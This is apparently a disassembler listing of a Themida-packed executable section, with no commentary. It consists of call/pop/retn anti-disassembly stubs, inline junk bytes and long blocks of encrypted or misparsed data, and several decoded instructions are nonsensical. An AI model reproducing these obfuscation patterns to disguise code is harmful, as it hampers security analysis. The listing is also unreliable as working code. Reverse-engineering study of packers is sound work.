sub_58A5B7 proc near ; CODE XREF: Themida_:0058A5AFp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_58A5B7 endp
; ---------------------------------------------------------------------------
db 0FCh
dd 0F0FDF483h, 85C74C44h, 6A81A6Dh, 398C4377h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0C7C35141h, 0EEF5841h
dd 0EE06BF66h, 800FC08Bh, 6, 0CA98D89h, 0BD8106A8h, 6A8176Dh
dd 7D0h, 5E850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1B0424h, 57470000h, 13FDE9C3h, 3D33A4B8h
dd 1B58B3Ah, 0FF06A818h, 0A8176D85h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 3FE0D81h, 0A678E609h
dd 0DA19D29h, 9D8906A8h, 6A8005Dh, 176DB5FFh, 0BD0106A8h
dd 6A80AADh, 1B3195FFh, 6A06A8h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 140424h, 56460000h, 0BD8934C3h, 6A82775h
dd 1461B58Bh, 609006A8h, 7F9858Bh, 8B5006A8h, 0A80CA18Dh
dd 95895A06h, 6A83475h, 42BC88BBh, 85896136h, 6A81409h
dd 0DFDEBE66h, 0C858D01h, 8E906A8h, 20000000h, 916E136Bh
dd 6A45AD00h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 15042444h, 43000000h, 9D4FC353h, 67EE8166h, 2785BFEDh
dd 6A4D29h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
dd 52420000h, 662AB8C3h, 8BD7D6BEh, 0A81FA5BDh, 0F0B70F06h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0B8C35545h
dd 9ED2C775h, 0DF81A697h, 500EE966h, 9A93C681h, 860F01FAh
dd 0Ch, 2468EF81h, 0B5234C41h, 6A82D25h, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 18h, 24C35646h, 0E89898Ah
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0A7C35747h
dd 2651B58Bh, 0E3E906A8h, 6AFFFFF7h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0BF99C352h
dd 6A604Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
dd 57470000h, 0E21A0C3h, 7FC1AACh, 0F6FE2FCh, 180h, 8D89F900h
dd 6A81B5Dh, 0FFFFFEB9h, 56006AFFh, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1904h, 0C3564600h, 0DBBCC7DFh, 95313DCAh
dd 6A80F31h, 1E4D8D21h, 6A06A8h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 160424h, 56460000h, 111D3C3h, 9E8h, 96812200h
dd 0F7A54F47h, 5FF5C3D0h, 8D21F6B7h, 6A80941h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 84C35747h, 958B9D33h
dd 6A816E9h, 1E4D8D8Bh, 6A06A8h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 180424h, 55450000h, 0B5EC86C3h, 0BD891ECCh
dd 6A80079h, 0F01E183h, 2585h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 960B189Eh
dd 4644F259h, 8D8BEE43h, 6A80941h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Bh, 29C35545h, 0DA2A9865h, 8BB4FD50h
dd 0A82E8DBDh, 0CE906h, 5D960000h, 0B1E6402Ch, 0C015E65Ch
dd 0E183F2BBh, 23850F01h, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 15042444h, 40000000h, 0DA7C350h
dd 7CB2CF81h, 60612A4Dh, 0D280C68Bh, 0FFFEB9D1h, 8166FFFFh
dd 210691C2h, 0A8324D8Dh, 858B6006h, 6A82121h, 1E559589h
dd 0E96106A8h, 0Dh, 0AEDC071Ch, 0FECD07C3h, 764C57C3h
dd 218D21E9h, 6A06A830h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 16042444h, 42000000h, 28C0C352h, 0C58D2973h
dd 8B06A82Ah, 0A8324D8Dh, 199D8B06h, 8306A81Fh, 850F01E1h
dd 6, 0B018D29h, 8D8B06A8h, 6A83021h, 0F01E183h, 685h
dd 0D5858B00h, 6106A834h, 57006A60h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 2424BBFCh
dd 0F08106B6h, 0A3EF6C3h, 0FFFFFEB9h, 55006AFFh, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
dd 0E9A0DF34h, 6060390Ch, 0BD29FC8Ah, 6A80F91h, 61D78B61h
dd 2535950Bh, 8D2106A8h, 6A8259Dh, 2C89858Bh, 8D2106A8h
dd 6A8251Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 19h, 0E3C35343h, 4CE3CA79h, 64BB6602h, 9D8D8B5Ah, 0F06A825h
dd 0E183FFB7h, 2850F01h, 8A000000h, 1D8D8BDEh, 8B06A825h
dd 0A8064585h, 1E18306h, 40850Fh, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0E85160C3h
dd 0Ah, 7575B66Bh, 0A033B972h, 0B58BC4FDh, 6A810DDh, 9D895A5Eh
dd 6A81A39h, 34EDBD29h, 606106A8h, 1810Fh, 0B9F90000h
dd 0FFFFFFFEh, 2BD99D33h, 8D2106A8h, 6A801EDh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 46C35646h, 541493A3h
dd 7EAFE881h, 8D21357Bh, 6A81A6Dh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 18h, 4AC35747h, 65ED1820h, 1ED8D8Bh
dd 6A06A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
dd 52420000h, 0F8B500C3h, 0CBE6041h, 89217279h, 0A82CDD85h
dd 0E1836106h, 6850F01h, 29000000h, 0A8076D8Dh, 6D8D8B06h
dd 6A06A81Ah, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1C042444h, 47000000h, 0DDB3C357h, 325E0C38h, 8B7FCA4Dh
dd 0A81009B5h, 1E18306h, 28850Fh, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0C74E25C3h
dd 394E7FA5h, 1FF2DA81h, 606106ECh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 18h, 0B4C35747h, 0C37877Fh, 1DAD8D29h
dd 85C706A8h, 6A8176Dh, 7D0h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 19h, 7EC35545h, 77EB7E83h, 299D8BF9h
dd 6106A835h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ch, 9CC35646h, 1B97B99Eh, 36742749h, 31558D89h, 7EB06A8h
dd 0E99D61h, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1B042444h, 40000000h, 0CED3C350h, 16EA5EF4h
dd 8166DB94h, 6A1146C6h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 18042444h, 40000000h, 6E7EC350h, 8BC45F56h
dd 8F4FEBC1h, 0ABFA251Ch, 0DAC6A108h, 0D41CA4ACh, 0E45C5CD2h
dd 3134CE00h, 27CE1BF5h, 34D129B3h, 2AC7DD5Bh, 1BCE17E6h
dd 0DB6734DFh, 6FB700A6h, 0EA1A0047h, 0D5A3h, 199C0000h
dd 0FECBh, 0FBFE49h, 0B4870000h, 202352DDh, 339C9ED9h
dd 87E977E7h, 6A000012h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 17042444h, 43000000h, 0BEADC353h, 0BD833CC4h
dd 6A8339Dh, 2E850F00h, 53000000h, 0A2A2E781h, 0F5F3528h
dd 68Dh, 0AD8D8B00h, 0B806A819h, 0
; ---------------------------------------------------------------------------
jbe locret_58AD80
mov [ebp+6A80B25h], edi
locret_58AD80: ; CODE XREF: Themida_:0058AD74j
retn 4
; ---------------------------------------------------------------------------
sub [ebp+6A832ADh], edx
mov eax, eax
mov [ebp+6A83285h], eax
cmp dword ptr [ebp+6A81ED9h], 0
jnz short loc_58ADA3
cmp dword ptr [ebp+6A82DE9h], 0
jz short loc_58ADB6
loc_58ADA3: ; CODE XREF: Themida_:0058AD98j
push eax
push ebx
mov eax, eax
mov eax, 4D0h
lea ebx, [ebp+6AA9F80h]
call ebx
pop ebx
pop eax
loc_58ADB6: ; CODE XREF: Themida_:0058ADA1j
cmp dword ptr [ebp+6A82DE9h], 0
jz short loc_58ADD0
push eax
push ebx
mov eax, 4D0h
lea ebx, [ebp+6AA9ECDh]
call ebx
pop ebx
pop eax
loc_58ADD0: ; CODE XREF: Themida_:0058ADBDj
or edi, [ebp+6A82771h]
push 0
push edi
call sub_58ADE1
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58ADE1 proc near ; CODE XREF: Themida_:0058ADD9p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 19h
inc edi
push edi
retn
sub_58ADE1 endp
; ---------------------------------------------------------------------------
db 0F1h, 0EEh, 15h
; ---------------------------------------------------------------------------
mov eax, 0C08BFF46h
pusha
mov esi, [ebp+6A80A95h]
sbb edi, 58A4CFEEh
popa
lea eax, [ebp+6AC1311h]
push 0
push edi
call sub_58AE18
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58AE18 proc near ; CODE XREF: Themida_:0058AE10p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_58AE18 endp
; ---------------------------------------------------------------------------
dd 0B1646F65h, 90F5BD72h, 50FA8B66h, 0FD71BF66h, 0FE62BF90h
dd 858D4B81h, 6AC12CEh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ch, 90C35646h, 412A9947h, 9BE009A5h, 599D8B60h
dd 6106A833h, 0BE990h, 0E9660000h, 3222E5Ah, 0AB6022CDh
dd 14E85078h, 56000000h, 3A5DECEEh, 0DD752E77h, 0ED07A31Ah
dd 53FDA90Ah, 6697D4D1h, 5FB1B3BAh, 56006A90h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 0D83A94A7h
dd 8BE61EB1h, 2880FCEh, 0B1000000h, 3595FF9Ah, 906A81Ah
dd 0A82E7D95h, 24448B06h, 52006A04h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0AAB1AC3Bh
dd 12F98589h, 10E906ACh, 0ED000000h, 1FED9A46h, 677EE77Dh
dd 0A88463F8h, 8B4F1179h, 89082444h, 0A81999BDh, 0D858906h
dd 6A06AC13h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h, 40000000h, 3CB2C350h, 8E0FD425h, 6, 14C59523h
dd 0BD8306A8h, 6A80F01h, 0D8850F00h, 0F000000h, 85C6FFB7h
dd 6A815D5h, 5DA9BA47h, 0B70F1CD0h, 52D668FEh, 6056D443h
dd 0BF666160h, 5F619AD2h, 0FC240481h, 0E9005754h, 14h
dd 5AED1702h, 0AA65D3AAh, 0DAB04454h, 873DAE4Eh, 0ADEE1945h
dd 28DB509h, 0B5FF06A8h, 6A80F95h, 0FE960h, 3B330000h
dd 0BFE2ACF6h, 75BA8D1Ah, 33670FC1h, 3840F96h, 0F000000h
dd 8D61DFBFh, 0AB697185h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 9C82F492h
dd 398D8B30h, 0FF06A815h, 0E28166D0h, 8B60C12Eh, 0A81D99BDh
dd 0CC8A5106h, 85896158h, 6A80F01h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 15h, 0D2C35545h, 0CB8B66FAh, 66D18B66h
dd 835616BAh, 0A80909BDh, 850F0006h, 0C0h, 919589h, 0B58906A8h
dd 6A828A1h, 15D585C6h, 6A4706A8h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1A042444h, 40000000h, 164DC350h
dd 700C6AD5h, 0C8BF0FEBh, 4E8CFB6h, 0E2000000h, 508A0FB5h
dd 424448Bh, 0FB8B6653h, 0B9008B59h, 10A447DEh, 4244489h
dd 14E9h, 0C1230A00h, 58C0FCADh, 87EE53A4h, 0B9AF283Ch
dd 0D4CB8056h, 85895891h, 6A82D79h, 0F95B5FFh, 9D2906A8h
dd 6A80C0Dh, 6971858Dh, 6A06ABh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 140424h, 56460000h, 0B5893AC3h, 6A80AC9h
dd 0CD19D31h, 0D0FF06A8h, 9098589h, 8D8906A8h, 6A832E5h
dd 28ADBD83h, 0F0006A8h, 0DF85h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 6A98A556h
dd 5188AF31h, 0A958D89h, 0C65906A8h, 0A815D585h, 14E95606h
dd 8A000000h, 826296A2h, 0E6E05ECAh, 98AAD1D1h, 0F60973A9h
dd 0E9442952h, 8, 35AB9B73h, 1CD7A5EFh, 66F8E168h, 0CE99Eh
dd 7C610000h, 9746045h, 0E3C21471h, 3481C3C4h, 7995D824h
dd 0F1BD234Ah, 0E806A820h, 0Dh, 0AEB3D138h, 7AAE3508h
dd 681188B1h, 4D958B05h, 5906A825h, 0F95B5FFh, 0BD0106A8h
dd 6A82239h, 6971858Dh, 9D0906ABh, 6A82FB9h, 6AD0FFh, 3E850h
dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
dd 898164C3h, 0A8288D95h, 0D78B6606h, 28AD8589h, 8D8B06A8h
dd 6A81429h, 15D585C6h, 606C06A8h, 0EE9h, 72B57200h, 29ED54F9h
dd 0A5783B6Dh, 0F49894Ah, 6861C1B7h, 0C6AE464Dh, 12E9h
dd 27802200h, 2F6BAC75h, 14C3F5F5h, 5AE5F044h, 81EF7132h
dd 2A362404h, 6A1457h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1A0424h, 52420000h, 5F6FE6C3h, 706EF0E7h, 0FFCAB70Fh
dd 0A831F9B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1B04h, 0C3534300h, 3756365Bh, 4B21A715h
dd 1E818D8Bh, 54B906A8h, 8D15F865h, 0A83AC385h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 114E8720h, 1DA18D8Bh, 0D0FF06A8h, 3025BD8Bh, 8D8B06A8h
dd 6A80AADh, 12FD8589h, 958B06ACh, 6A806A5h, 1319BD83h
dd 0F0006ACh, 10685h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1504h, 0C3534300h, 7E9179Dh, 4F000000h, 5D4E1BC6h
dd 0BF669894h, 85C6EC98h, 6A815D5h, 52006A49h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 0A243DA4Fh
dd 64846895h, 34818EEFh, 0FA4D6D24h, 89526002h, 0A81C259Dh
dd 13E85906h, 6E000000h, 0CCB5EC86h, 27CF5B1Eh, 0EC42F5EAh
dd 74D173F1h, 8F0F8B08h, 0
; ---------------------------------------------------------------------------
pop esi
popa
push dword ptr [ebp+6A831F9h]
clc
lea eax, [ebp+6A83AC3h]
mov [ebp+6A83191h], edi
call eax
push 0
push ecx
call sub_58B386
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58B386 proc near ; CODE XREF: Themida_:0058B37Ep
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 14h
inc ecx
push ecx
retn
sub_58B386 endp
; ---------------------------------------------------------------------------
mov eax, large ds:0FE9h
add [edx], al
mov ah, 9Bh
cli
retf
; ---------------------------------------------------------------------------
db 0E6h, 1Ah, 5Eh
; ---------------------------------------------------------------------------
xor [edx], ah
and eax, 0CAA36F3Ah
mov [ebp+6AC1319h], eax
push 0
push ecx
call sub_58B3BC
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58B3BC proc near ; CODE XREF: Themida_:0058B3B4p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ch
inc ecx
push ecx
retn
sub_58B3BC endp
; ---------------------------------------------------------------------------
dd 982E301Ah, 0D7838DADh, 2880FDAh, 8B000000h, 2D8D8BD1h
dd 6A06A82Eh, 4ABF6604h, 26E86874h, 25B5DB03h, 18240481h
dd 6A24FCE9h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 15042444h, 47000000h, 19ACC357h, 13E9h, 14C91700h, 2C6D41Ah
dd 74F88278h, 72F8F081h, 0E542447Eh, 0D18D89h, 8D8B06A8h
dd 6A834D5h, 0EE592368h, 81616042h, 59232434h, 0CE842EFh
dd 74000000h, 0C0F6026h, 7E97A667h, 5A8B8697h, 8D8B006Ah
dd 6A80BF9h, 27C995FFh, 6A06A8h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 160424h, 53430000h, 9FDC26C3h, 2E058D8Bh
dd 858906A8h, 6AC1309h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 18h, 28C35141h, 0E5914DA3h, 1709BD89h, 85C706A8h
dd 6AC1301h, 0
dd 0FAD8D8Bh, 6A06A8h, 4FEF8166h, 4E8BAh, 0
dd 40B90001h, 50008A27h, 448B56B2h, 0EE90424h, 7A000000h
dd 32927872h, 0CE9973B9h, 0A1A659E2h, 89008BE6h, 50042444h
dd 0A8B96652h, 0E9310FA5h, 12h, 57DC569h, 4B7BEE7Fh, 74850930h
dd 56B805DCh, 585A2CB1h, 5AFC5658h, 3860Fh, 8B660000h
dd 0E85790F8h, 11h, 0C19221FCh, 56540C0Eh, 23D82C35h, 0CB94468Fh
dd 59FA8B68h, 0BF66505Ah, 6A9046ECh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0B840C351h
dd 95E1ACCBh, 958957F2h, 6A806C9h, 0F6BF665Ah, 0E90B6AC4h
dd 9, 0D5002936h, 52ECF534h, 0D6858D97h, 6A06AC12h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
dd 4479C357h, 0D1BD8Bh, 0BF6606A8h, 6650DF07h, 489FA8Bh
dd 0FFD58A24h, 0A80F0195h, 5858906h, 8D06A82Eh, 0AC12E0B5h
dd 8A50F906h, 243489D4h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 16h, 87C35242h, 0E9509C70h, 10h, 0DFD34495h
dd 4DA9BA09h, 57E294AFh, 9EF62DF5h, 6A240489h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
dd 2445C357h, 9E241E3Fh, 89C364B1h, 0A826C185h, 995FF06h
dd 6A06A809h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 19042444h, 41000000h, 5E9AC351h, 0B6E4D4B0h, 31F9B70Fh
dd 0A8319195h, 0FC00B06h, 1185h, 5D8D8B00h, 0E906A81Fh
dd 6D3h, 0FB59D31h, 0D0FF06A8h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 14h, 4FC35242h, 3165B531h, 0B58B06A8h
dd 6AC1309h, 0DE9h, 0E2FD9E00h, 0F6031D66h, 0AF9FB8E4h
dd 468D5596h, 5E820h, 0C2FA0000h, 0F19B0D9h, 158Ch, 0FE800h
dd 0F1D0000h, 0A1F543E3h, 0A84CD19Bh, 2A3E0811h, 6A5A5FC0h
dd 57006A04h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h
dd 0C3574700h, 0D11FB13Bh, 6BFD3188h, 3810F1Eh, 66000000h
dd 820FCB8Bh, 6, 2115BD89h, 605006A8h, 880F5250h, 0
dd 585A310Fh, 61F18B66h, 0F240489h, 0E951F8BFh, 7, 0EF5234BCh
dd 59515BF8h, 131995FFh, 810F06ACh, 1, 0FC00BFCh, 2C84h
dd 0E989B600h, 5EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 17h, 23C35545h, 8BB20CCCh, 0A82275BDh, 207E8006h
dd 0BC840F00h, 89000005h, 0A8206DB5h, 6A6006h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
dd 0BAB81C3h, 0D45839Bh, 89824DFAh, 0A81DE595h, 20468D06h
dd 8589CA8Bh, 6AC1305h, 3C78166h, 82E915h, 8D8B0000h, 6A821FDh
dd 50006A40h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h
dd 0C3504000h, 85897FE5h, 6A83135h, 0B3DBBF66h, 4DBF6650h
dd 2404894Dh, 7EE4BA66h, 8166046Ah, 9001C4E1h, 0BF0F9050h
dd 1995FFFBh, 8906AC13h, 0A801A98Dh, 1DB53106h, 8B06A82Bh
dd 58FE8BD8h, 17ED958Bh, 0C28106A8h, 5A8F94CDh, 840FDB0Bh
dd 10h, 2649958Bh, 0BAB906A8h, 0E946862Fh, 4F3h, 0F003880h
dd 0FFFF7B85h, 56006AFFh, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1C04h, 0C3564600h, 0B05346D4h, 2BB60933h
dd 69B952B0h, 597CB2DCh, 1CE9h, 3D958B00h, 4806A81Dh, 9E8h
dd 55F17600h, 12AB425Ah, 8D8B8DA4h, 6A81FF9h, 5853B5Ah
dd 0F06AC13h, 1D82h, 0FB8B6600h, 0F5C3880h, 1184h, 2F388000h
dd 0FFC9850Fh, 0B70FFFFFh, 0DA8166D7h, 6A40A143h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
dd 839CC352h, 0D734FF54h, 0AB2C715h, 8BCABF0Fh, 0A81DE98Dh
dd 0DBD8306h, 6AC13h, 18A840Fh, 8E80000h, 0B7000000h, 0FC8F39E9h
dd 8BC7362Ah, 0A832DD95h, 0E8905906h, 0Fh, 3AA07A07h, 2C6653DCh
dd 0FDEC8EE3h, 60CD2C38h, 66FE8B66h, 5A61D08Bh, 4F69BA50h
dd 3902509h, 0AC130D85h, 0BA6606h, 0D9B589D8h, 9006A808h
dd 50D18B66h, 0BE9h, 0B3280000h, 0D9BA99B7h, 0CEE215F8h
dd 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h
dd 0C3564600h, 0E98AE976h, 6, 413ACF58h, 0BD8BAA55h, 6A806C9h
dd 8589046Ah, 6A831E5h, 50A5B690h, 10E9h, 589EAD00h, 4B25BD22h
dd 2F8A1AAAh, 0E39123DAh, 6A905Dh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 150424h, 52420000h, 606D1BC3h, 57791CBEh
dd 0D78B660Ah, 7E861h, 4F0E0000h, 2FD68162h, 0EAE280F6h
dd 0CA816659h, 95FFF928h, 6AC1319h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 16h, 5AC35141h, 9E98771h, 0C0000000h
dd 807D810h, 0FB4D6C4h, 10E9D88Bh, 71000000h, 30630476h
dd 3D341D71h, 6D0AC9C5h, 585AB7DEh, 361786B9h, 0FDB0B2Fh
dd 3384h, 7E900h, 673B0000h, 0E98CC7EFh, 2E5E970h, 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
dd 0D2CC49C3h, 10B764E5h, 10000C6h, 0A82F919Dh, 7ABA6606h
dd 0BD095802h, 6A833A1h, 13E990h, 0AC5F0000h, 0D8A6CE15h
dd 5A00E84Dh, 3816E60Fh, 0DF1DE1Fh, 87BA50EEh, 903A1AC5h
dd 0CED9B966h, 6830F52h, 89000000h, 0A81AADBDh, 1E6A5A06h
dd 0C800Fh, 800F0000h, 6, 30ED8D8Bh, 0E89006A8h, 12h, 7146120Dh
dd 2D2B69DBh, 5497CCDCh, 0AFF823B3h, 8E84349h, 0A4000000h
dd 0B76E016Ch, 0E97225EAh, 0Fh, 5984722Eh, 85F4CBE0h, 3BFFA1B1h
dd 5A4984E2h, 0D08B505Ah, 8D8D8B90h, 0FF06A802h, 0AC131995h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h
dd 0C3554500h, 0F9E59928h, 0FEA8AE5h, 686h, 758D0300h
dd 8B06A80Ch, 0B58958D8h, 6A81F39h, 840FDB0Bh, 56h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 30C35141h, 6A830A3Fh
dd 0C366C00Ah, 0E99531BFh, 106A810h, 0A83109B5h, 1A9E906h
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
dd 51410000h, 0F0B45C3h, 8B50D7BFh, 240489F8h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0EBC35646h, 0FDD21441h
dd 7824B00Eh, 0FFD18B66h, 0AC12F9B5h, 50006A06h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 0FFCA1BC2h, 0AC12FD95h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0CEE215F8h
dd 1F95BD29h, 816606A8h, 0B6924D9h, 0CB850FC0h, 60000000h
dd 9E9h, 6C360100h, 0AA260EBBh, 0FE91297h, 0E1000000h
dd 0FB3F67CBh, 3652E578h, 0CA620EBFh, 5061F43Eh, 6870Fh
dd 830F0000h, 0
; ---------------------------------------------------------------------------
pop ecx
popa
push 0
push ebx
call sub_58BC8D
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58BC8D proc near ; CODE XREF: Themida_:0058BC85p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_58BC8D endp
; ---------------------------------------------------------------------------
pop ss
xchg eax, edx
cmpsd
movsb
sal byte ptr [eax+7Fh], 63h
mov dword ptr [ebp+6AC1301h], 1
push 0
push ebx
call sub_58BCBA
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58BCBA proc near ; CODE XREF: Themida_:0058BCB2p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_58BCBA endp
; ---------------------------------------------------------------------------
dw 0A17Eh
; ---------------------------------------------------------------------------
dec esi
or edi, [edi+edi*4+16BF8E74h]
adc dx, 0DFD8h
mov edi, [ebp+6A83191h]
mov [ebp+6A80CF1h], esi
jmp loc_58BD4F
; ---------------------------------------------------------------------------
push 0
push esi
call sub_58BCF5
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58BCF5 proc near ; CODE XREF: Themida_:0058BCEDp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_58BCF5 endp
; ---------------------------------------------------------------------------
db 0Eh, 0E3h, 70h
; ---------------------------------------------------------------------------
sbb ds:21E3F515h, bl
jmp loc_58BD1A
; ---------------------------------------------------------------------------
db 9Fh
dd 48032F29h
db 6Bh, 0BBh
; ---------------------------------------------------------------------------
loc_58BD1A: ; CODE XREF: Themida_:0058BD0Ej
popa
xor edi, 5BB1F947h
add esi, 11Ch
cld
jmp near ptr dword_58B4D4+1EAh
; ---------------------------------------------------------------------------
push 0
push edi
call sub_58BD38
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58BD38 proc near ; CODE XREF: Themida_:0058BD30p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_58BD38 endp
; ---------------------------------------------------------------------------
dd 9B418801h
db 0B1h, 0FFh, 8Bh
; ---------------------------------------------------------------------------
loc_58BD4F: ; CODE XREF: Themida_:0058BCE5j
push 7166DB5Bh
jmp loc_58BD65
; ---------------------------------------------------------------------------
db 0E4h, 8Bh, 33h
dd 990E447Ah, 0F6A69413h
; ---------------------------------------------------------------------------
popa
loc_58BD65: ; CODE XREF: Themida_:0058BD54j
xor dword ptr [esp], 71665B5Bh
call near ptr loc_58BD7C+1
and al, 0D1h
xchg ebp, [ecx]
daa
xchg eax, esp
mov edx, 12EE6416h
loc_58BD7C: ; CODE XREF: Themida_:0058BD6Cp
sub [ebx-57F1C66Bh], ecx
push es
pop edx
push 0
mov [ebp+6A82A9Dh], edi
push dword ptr [ebp+6AC1309h]
push 0
push ebp
call sub_58BD9D
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58BD9D proc near ; CODE XREF: Themida_:0058BD95p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_58BD9D endp
; ---------------------------------------------------------------------------
db 4Dh, 0E9h, 0F7h
dd 13DD8064h, 28AD95FFh, 6A06A8h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 190424h, 51410000h, 0E26236C3h, 66A82CA5h
dd 8B64C981h, 1301858Bh, 6A06ACh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1B0424h, 50400000h, 95AF34C3h, 54DBF690h
dd 5ABA66D7h, 0A5BF5072h, 892347C5h, 6A2404h, 3E855h, 5D200000h
